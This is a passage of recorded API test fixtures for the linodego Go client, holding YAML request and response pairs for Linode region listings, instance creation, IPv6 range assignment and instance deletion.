1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-73tk8v01r1wb","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361111, "label": "go-test-ins-wo-disk-73tk8v01r1wb", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.27"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58b502ff98a4081434a97fe5a4f00bb7835d155c", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-b22sgyg34t80","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361111/configs method: POST response: body: '{"id": 71709954, "label": "go-test-conf-b22sgyg34t80", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-assign","root_pass":"te\u003cJA0h{3G!-S167M4VoR1qB:oK@W5ZH3y97)k5t2+(r`zFJa:7\u003cki\u0026}jh,N89D|","image":"linode/debian12","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361113, "label": "go-ins-test-assign", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.33"], "ipv6": "1234::5678/128", "image": "linode/debian12", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "e2551e83bb2abde04e4b5c778193e1c642125379", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":68361113,"prefix_length":64}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ipv6/ranges method: POST response: body: '{"range": "1234::5678/64", "route_target": "1234::5678"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "86" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"1234::5678/64","linode_id":68361111}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361111/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.115.27", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-27.ip.linodeusercontent.com", "linode_id": 68361111, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361111, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361111, "region": "ap-west", "public": false}, "global": [{"range": "1234::5678", "prefix": 64, "region": "ap-west", "route_target": "1234::5678"}]}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361113 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361111 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddress_Instance_Delete.yaml000066400000000000000000001166371474652371000332520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": 